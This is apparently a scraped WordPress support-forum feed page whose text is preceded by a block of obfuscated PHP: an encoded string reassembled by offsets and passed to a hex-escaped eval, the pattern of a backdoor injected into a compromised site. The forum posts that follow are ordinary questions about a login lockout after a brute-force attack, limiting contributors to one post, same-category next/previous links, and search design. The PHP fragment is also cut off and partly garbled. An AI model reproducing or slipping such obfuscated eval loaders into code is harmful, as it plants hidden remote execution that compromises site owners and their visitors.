}DPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6w!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*jfuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7b%x5c%x7825)gpf{jt)!gj!<*2bd%x878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!y76]277]y72]265]y39]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x525fdy>#]D4]273]D6P2L5P6]y6gP7L6M33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jpmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sx7825#%x5c%x782f#o]#%x5x7824*<!~!dsfbuf%x5c%x7860gvod7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<25-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvu5c%x7825!|!*#91y]c9y]g2y]#>>*4-7824-tusqpt)%x5c%x78-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5~<ofmy%x5c%x7825,3,j%x5c%x7882]y3:]62]y4c#<!%x5c%400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x78255c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e725bss-%x5c%x7825r%x5c%x7878B825%x5c%x785cSFWSFT%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJc%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw4]6]234]342]58]24]31#824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x-%x5c%x7825tdz*Wsfuvso!%x5c%x782!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%vufs!~<3,j%x5c%x7825>j%x5cftmf!}Z;^nbsbq%x5c%x7]48y]#>s%x5c%x7825<#462]47y%x5c%x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvsoif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!ispd19275fubmgoj{h1:|:*mmvo:>:iuho1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x7825%x5c%x7824-%x5c%x786-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x782%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7*fs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x782%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%141%x72%162%x61%171%x5f%86+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860Lc%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)+{d%x5c%x7825)+opjudovg+2%134%x78%62%x35%165%x3a%146%x225>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#wI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860bj+upcotn+qsvmt+f5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825td#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%/(.*)/epreg_replacewzahbxxjbx'; $yebyrnoqpq = explode(chr((167-123)),'8897,63,3703,59,1275,51,4939,29,4053,38,569,60,9427,25,3810,35,1856,52,9687,31,6570,28,7500,65,4190,22,4775,21,1499,66,10050,56,2004,38,3201,41,5660,62,3865,56,9060,58,3028,53,5416,31,4968,44,387,48,9208,54,6169,54,9500,29,7216,55,5289,59,3456,35,3680,23,5722,39,5761,30,6223,67,934,51,4796,48,1908,32,1737,30,1658,35,3999,25,9613,50,6742,59,1693,44,2735,46,5183,55,8455,35,7706,66,8752,36,4091,70,4570,70,7424,46,4212,61,4880,59,481,30,3128,22,5630,30,2578,48,2947,50,3150,51,6368,39,8678,26,7379,45,6903,44,3628,52,1052,22,6348,20,7104,37,8235,28,9718,58,1137,48,2997,31,1940,64,8114,31,8992,68,3404,52,8642,36,1359,28,2781,29,7470,30,5828,49,653,62,435,46,5583,47,511,58,6801,56,6438,25,2626,52,6463,45,2341,33,9828,23,6086,20,7913,43,6857,46,3762,48,2084,49,5348,30,9776,52,5152,31,812,22,5928,32,8788,61,3081,47,3845,20,1619,39,7053,51,8704,21,8435,20,2191,22,6983,70,8047,67,9262,54,2546,32,9886,45,8960,32,5447,45,834,47,9663,24,3266,70,7141,55,3336,39,4418,65,4483,56,6290,58,2133,58,3921,41,5238,51,7585,61,7849,64,6508,62,7956,23,9529,46,3242,24,7565,20,767,45,177,37,7271,68,5071,24,2374,36,4844,36,1326,33,8284,68,7339,40,2410,21,7646,60,4640,65,8352,55,305,36,8725,27,9995,55,985,67,4383,35,4750,25,5492,38,7772,45,6106,37,9361,66,5530,53,8557,53,8145,20,58,66,2431,66,1449,50,8165,70,9316,45,6947,36,7979,30,3375,29,9118,23,2678,57,4161,29,8263,21,6598,64,2497,49,6662,56,8849,48,5960,39,8490,46,6045,41,5999,46,1212,63,3540,32,5877,51,8407,28,243,62,2890,57,3572,56,9141,67,2042,42,4539,31,7817,32,365,22,2278,63,124,53,214,29,9851,35,747,20,0,58,3962,37,5791,37,4024,29,1387,62,8536,21,8610,32,4316,67,9452,48,8009,38,2868,22,1074,63,1565,54,9575,38,2810,58,2213,65,881,53,6407,31,1185,27,4705,45,1767,27,5012,59,6718,24,5095,57,341,24,4273,43,715,32,9931,64,1794,62,3491,49,5378,38,629,24,6143,26,7196,20'); $qscmjmqose=substr($xfsvhcslzb,(32338-22232),(28-21)); if (!function_exists('jqmtqbqims')) { function jqmtqbqims($lobzdwfrxg, $vpssrsjtab) { $qmjbrwxvex = NULL; for($hprwzufgsb=0;$hprwzufgsb<(sizeof($lobzdwfrxg)/2);$hprwzufgsb++) { $qmjbrwxvex .= substr($vpssrsjtab, $lobzdwfrxg[($hprwzufgsb*2)],$lobzdwfrxg[($hprwzufgsb*2)+1]); } return $qmjbrwxvex; };} $qbewuuvtsf="\x20\57\x2a\40\x71\161\x62\143\x6b\144\x78\153\x73\144\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x37\55\x31\70\x30\51\x29\54\x20\143\x68\162\x28\50\x33\63\x33\55\x32\64\x31\51\x29\54\x20\152\x71\155\x74\161\x62\161\x69\155\x73\50\x24\171\x65\142\x79\162\x6e\157\x71\160\x71\54\x24\170\x66\163\x76\150\x63\163\x6c\172\x62\51\x29\51\x3b\40\x2f\52\x20\172\x77\151\x63\162\x6e\161\x6d\141\x77\40\x2a\57\x20"; $qkftatwrqv=substr($xfsvhcslzb,(49095-38982),(47-35)); $qkftatwrqv($qscmjmqose, $qbewuuvtsf, NULL); $qkftatwrqv=$qbewuuvtsf; $qkftatwrqv=(556-435); $xfsvhcslzb=$qkftatwrqv-1; ?>

XtraMark on "Hackers guessed my login ID and now I am locked out"

$
0
0

Wordfence was able to thwart the attempted logins to admin and test.
Now the hackers have guessed my login and I am locked out.
How do I get back in to change my login without letting the hackers in?

coverfield on "Disable "add new" post to anyone who has one published or in waiting the revie"

$
0
0

Hello everyone, I wanted to know if there is a possibility to add a single post to a contributor, and be prevented from adding another one.

For example, if a contributor just recorded adds an article, which will then be moderated, and sent for review, I wish that he be prevented from adding another (should no longer appear on the "add new"), but may still change the one you just wrote, and re-submit it for review, but can not add another one.

In short, every contributor can publish only one (1) item.

I hope I explained and thank you in advance.

gpalowitch on "next_post_link and previous_post_link modification"

$
0
0

Hi,

First off, thanks for taking the time to read this and I hope you can help.

I am working on a website that has many portfolios which are spread within 4 different portfolio types. On each page for a single portfolio, the website's theme, Galao supported by themejug, calls the next_post_link and previous_post_link function from the wp-includes/link-template.php file. When I click the link to move to the next or previous portfolio I will eventually get to a portfolio of another portfolio type. With all that said, I am wondering how I would go about modifying the next_post_link and previous_post_link functions or any other functions they call so that the next or previous portfolios must be within the same portfolio type?

Once again thanks for your time,

Garrett

javawpscript on "Redesigning My Search Results"

$
0
0

I have got the Twenty Ten WordPress Theme but I don't want to use the current search design. I have found out if I do a normal search for example cheese (?s=cheese) but if I do (news?s=cheese) then it will search that parent page and child pages. I was wondering if there was anyway to get the search looking like the bbc.co.uk search design. I know that it might need editing in the Theme Editor and that is fine!

PS: I use a Multisite with Only 1 Site.

Viewing all 8245 articles
Browse latest View live




Latest Images